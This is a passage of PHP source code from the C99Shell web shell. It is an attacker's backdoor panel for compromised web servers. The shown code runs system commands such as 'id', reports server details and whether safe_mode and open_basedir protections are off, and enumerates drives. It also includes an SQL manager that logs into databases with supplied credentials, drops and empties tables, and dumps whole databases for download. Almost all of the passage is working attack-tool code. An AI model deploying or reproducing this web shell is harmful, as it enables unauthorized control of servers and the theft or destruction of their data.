     if (!empty($a["text"])) 
     { 
      $r = @file_get_contents($d.$f); 
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} 
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} 
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} 
      else {$bool = strpos(" ".$r,$a["text"],1);} 
      if ($a["text_not"]) {$bool = !$bool;} 
      if ($bool) {$found[] = $d.$f; $found_f++;} 
     } 
     else {$found[] = $d.$f; $found_f++;} 
    } 
   } 
  } 
} 
closedir($h); 
} 
} 
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} 
//Sending headers 
@ob_start(); 
@ob_implicit_flush(0); 
function onphpshutdown() 
{ 
global $gzipencode,$ft; 
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) 
{ 
  $v = @ob_get_contents(); 
  @ob_end_clean(); 
  @ob_start("ob_gzHandler"); 
  echo $v; 
  @ob_end_flush(); 
} 
} 
function c99shexit() 
{ 
onphpshutdown(); 
exit; 
} 
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); 
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); 
header("Cache-Control: no-store, no-cache, must-revalidate"); 
header("Cache-Control: post-check=0, pre-check=0", FALSE); 
header("Pragma: no-cache"); 
if (empty($tmpdir)) 
{ 
$tmpdir = ini_get("upload_tmp_dir"); 
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} 
} 
$tmpdir = realpath($tmpdir); 
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir); 
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} 
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} 
else {$tmpdir_logs = realpath($tmpdir_logs);} 
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") 
{ 
$safemode = TRUE; 
$hsafemode = "<font color=red>ON (secure)</font>"; 
} 
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} 
$v = @ini_get("open_basedir"); 
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} 
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} 
$sort = htmlspecialchars($sort); 
if (empty($sort)) {$sort = $sort_default;} 
$sort[1] = strtolower($sort[1]); 
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); 
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} 
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); 
@ini_set("highlight.bg",$highlight_bg); //FFFFFF 
@ini_set("highlight.comment",$highlight_comment); //#FF8000 
@ini_set("highlight.default",$highlight_default); //#0000BB 
@ini_set("highlight.html",$highlight_html); //#000000 
@ini_set("highlight.keyword",$highlight_keyword); //#007700 
@ini_set("highlight.string",$highlight_string); //#DD0000 
if (!is_array($actbox)) {$actbox = array();} 
$dspact = $act = htmlspecialchars($act); 
$disp_fullpath = $ls_arr = $notls = null; 
$ud = urlencode($d); 
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php 
$d = str_replace("\",DIRECTORY_SEPARATOR,$d); 
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} 
$d = str_replace("\",DIRECTORY_SEPARATOR,$d); 
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
$d = str_replace("\","\",$d); 
$dispd = htmlspecialchars($d); 
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); 
$i = 0; 
foreach($pd as $b) 
{ 
$t = ""; 
$j = 0; 
foreach ($e as $r) 
{ 
  $t.= $r.DIRECTORY_SEPARATOR; 
  if ($j == $i) {break;} 
  $j++; 
} 
echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; 
$i++; 
} 
echo "&nbsp;&nbsp;&nbsp;"; 
if (is_writable($d)) 
{ 
$wd = TRUE; 
$wdt = "<font color=green>[ ok ]</font>"; 
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; 
} 
else 
{ 
$wd = FALSE; 
$wdt = "<font color=red>[ Read-Only ]</font>"; 
echo "<b>".view_perms_color($d)."</b>"; 
} 
if (is_callable("disk_free_space")) 
{ 
$free = disk_free_space($d); 
$total = disk_total_space($d); 
if ($free === FALSE) {$free = 0;} 
if ($total === FALSE) {$total = 0;} 
if ($free < 0) {$free = 0;} 
if ($total < 0) {$total = 0;} 
$used = $total-$free; 
$free_percent = round(100/($total/$free),2); 
echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; 
} 
echo "<br>"; 
$letters = ""; 
if ($win) 
{ 
$v = explode("\",$d); 
$v = $v[0]; 
foreach (range("a","z") as $letter) 
{ 
  $bool = $isdiskette = in_array($letter,$safemode_diskettes); 
  if (!$bool) {$bool = is_dir($letter.":\");} 
  if ($bool) 
  { 
   $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; 
   if ($letter.":" != $v) {$letters .= $letter;} 
   else {$letters .= "<font color=green>".$letter."</font>";} 
   $letters .= " ]</a> "; 
  } 
} 
if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} 
} 
if (count($quicklaunch) > 0) 
{ 
foreach($quicklaunch as $item) 
{ 
  $item[1] = str_replace("%d",urlencode($d),$item[1]); 
  $item[1] = str_replace("%sort",$sort,$item[1]); 
  $v = realpath($d.".."); 
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} 
  $item[1] = str_replace("%upd",urlencode($v),$item[1]); 
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; 
} 
} 
echo "</p></td></tr></table><br>"; 
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} 
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; 
if ($act == "") {$act = $dspact = "ls";} 
if ($act == "sql") 
{ 
$sql_surl = $surl."act=sql"; 
if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} 
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} 
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} 
if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} 
if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} 
$sql_surl .= "&"; 
?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php 
if ($sql_server) 
{ 
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); 
  $err = mysql_smarterror(); 
  @mysql_select_db($sql_db,$sql_sock); 
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} 
} 
else {$sql_sock = FALSE;} 
echo "<b>SQL Manager:</b><br>"; 
if (!$sql_sock) 
{ 
  if (!$sql_server) {echo "NO CONNECTION";} 
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} 
} 
else 
{ 
  $sqlquicklaunch = array(); 
  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); 
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); 
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); 
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); 
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); 
  $sqlquicklaunch[] = array("Logout",$surl."act=sql"); 
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; 
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} 
  echo "</center>"; 
} 
echo "</td></tr><tr>"; 
if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } 
else 
{ 
  //Start left panel 
  if (!empty($sql_db)) 
  { 
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php 
   $result = mysql_list_tables($sql_db); 
   if (!$result) {echo mysql_smarterror();} 
   else 
   { 
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; 
    $c = 0; 
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} 
    if (!$c) {echo "No tables found in database.";} 
   } 
  } 
  else 
  { 
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php 
   $result = mysql_list_dbs($sql_sock); 
   if (!$result) {echo mysql_smarterror();} 
   else 
   { 
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php 
    $c = 0; 
    $dbs = ""; 
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} 
    echo "<option value=\"\">Databases (".$c.")</option>"; 
    echo $dbs; 
   } 
   ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php 
  } 
  //End left panel 
  echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; 
  //Start center panel 
  $diplay = TRUE; 
  if ($sql_db) 
  { 
   if (!is_numeric($c)) {$c = 0;} 
   if ($c == 0) {$c = "no";} 
   echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; 
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} 
   echo "</b></center>"; 
   $acts = array("","dump"); 
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_act = "query";} 
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} 
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} 
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} 
   elseif ($sql_tbl_act == "insert") 
   { 
    if ($sql_tbl_insert_radio == 1) 
    { 
     $keys = ""; 
     $akeys = array_keys($sql_tbl_insert); 
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} 
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} 
     $values = ""; 
     $i = 0; 
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} 
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} 
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; 
     $sql_act = "query"; 
     $sql_tbl_act = "browse"; 
    } 
    elseif ($sql_tbl_insert_radio == 2) 
    { 
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); 
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; 
     $result = mysql_query($sql_query) or print(mysql_smarterror()); 
     $result = mysql_fetch_array($result, MYSQL_ASSOC); 
     $sql_act = "query"; 
     $sql_tbl_act = "browse"; 
    } 
   } 
   if ($sql_act == "query") 
   { 
    echo "<hr size=\"1\" noshade>"; 
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} 
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} 
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} 
   } 
   if (in_array($sql_act,$acts)) 
   { 
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php 
    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} 
    if ($sql_act == "newtbl") 
    { 
     echo "<b>"; 
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; 
    } 
    else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} 
   } 
   elseif ($sql_act == "dump") 
   { 
    if (empty($submit)) 
    { 
     $diplay = FALSE; 
     echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; 
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; 
     $v = join (";",$dmptbls); 
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; 
     if ($dump_file) {$tmp = $dump_file;} 
     else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} 
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; 
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; 
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; 
     echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; 
     echo "</form>"; 
    } 
    else 
    { 
     $diplay = TRUE; 
     $set = array(); 
     $set["sock"] = $sql_sock; 
     $set["db"] = $sql_db; 
     $dump_out = "download"; 
     $set["print"] = 0; 
     $set["nl2br"] = 0; 
     $set[""] = 0; 
     $set["file"] = $dump_file; 
     $set["add_drop"] = TRUE; 
     $set["onlytabs"] = array(); 
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} 
     $ret = mysql_dump($set); 
     if ($sql_dump_download) 
     { 
      @ob_clean(); 
      header("Content-type: application/octet-stream"); 
      header("Content-length: ".strlen($ret)); 
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); 
      echo $ret; 
      exit; 
     } 
     elseif ($sql_dump_savetofile) 
     { 
      $fp = fopen($sql_dump_file,"w"); 
      if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} 
      else 
      { 
       fwrite($fp,$ret); 
       fclose($fp); 
       echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; 
      } 
     } 
     else {echo "<b>Dump: nothing to do!</b>";} 
    } 
   } 
   if ($diplay) 
   { 
    if (!empty($sql_tbl)) 
    { 
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} 
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); 
     $count_row = mysql_fetch_array($count); 
     mysql_free_result($count); 
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); 
     $tbl_struct_fields = array(); 
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} 
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} 
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} 
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} 
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} 
     $perpage = $sql_tbl_le - $sql_tbl_ls; 
     if (!is_numeric($perpage)) {$perpage = 10;} 
     $numpages = $count_row[0]/$perpage; 
     $e = explode(" ",$sql_order); 
     if (count($e) == 2) 
     { 
      if ($e[0] == "d") {$asc_desc = "DESC";} 
      else {$asc_desc = "ASC";} 
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; 
     } 
     else {$v = "";} 
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; 
     $result = mysql_query($query) or print(mysql_smarterror()); 
     echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; 
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; 
     if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} 
     if ($sql_tbl_act == "insert") 
     { 
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} 
      if (!empty($sql_tbl_insert_radio)) 
      { 

      } 
      else 
      { 
       echo "<br><br><b>Inserting row into table:</b><br>"; 
       if (!empty($sql_tbl_insert_q)) 
       { 
        $sql_query = "SELECT * FROM `".$sql_tbl."`"; 
        $sql_query .= " WHERE".$sql_tbl_insert_q; 
        $sql_query .= " LIMIT 1;"; 
